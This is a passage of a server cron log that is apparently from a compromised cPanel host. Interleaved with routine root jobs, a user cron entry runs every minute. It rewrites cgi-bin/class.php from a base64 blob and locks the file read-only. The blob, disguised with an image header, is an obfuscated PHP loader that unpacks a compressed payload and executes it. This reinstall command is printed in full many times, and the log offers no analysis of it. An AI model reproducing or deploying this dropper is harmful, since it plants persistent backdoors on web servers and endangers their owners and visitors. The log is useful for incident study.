"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:30:01 server CROND[14680]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 14:30:01 server CROND[14681]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:30:01 server CROND[14683]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 14:30:01 server CROND[14682]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 14:31:01 server CROND[14910]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:32:01 server CROND[15002]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:33:01 server CROND[15097]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:34:01 server CROND[15199]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:35:01 server CROND[15295]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  9 14:35:01 server CROND[15296]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 14:35:01 server CROND[15300]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 14:35:01 server CROND[15302]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:35:01 server CROND[15301]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 14:36:01 server CROND[15507]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:37:01 server CROND[15636]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:38:01 server CROND[15737]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:39:01 server CROND[15821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:39:01 server CROND[15822]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 14:40:01 server CROND[15913]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:40:01 server CROND[15914]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 14:40:01 server CROND[15912]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 14:40:01 server CROND[15911]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 14:41:01 server CROND[16123]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:42:01 server CROND[16247]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 14:42:01 server CROND[16248]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKS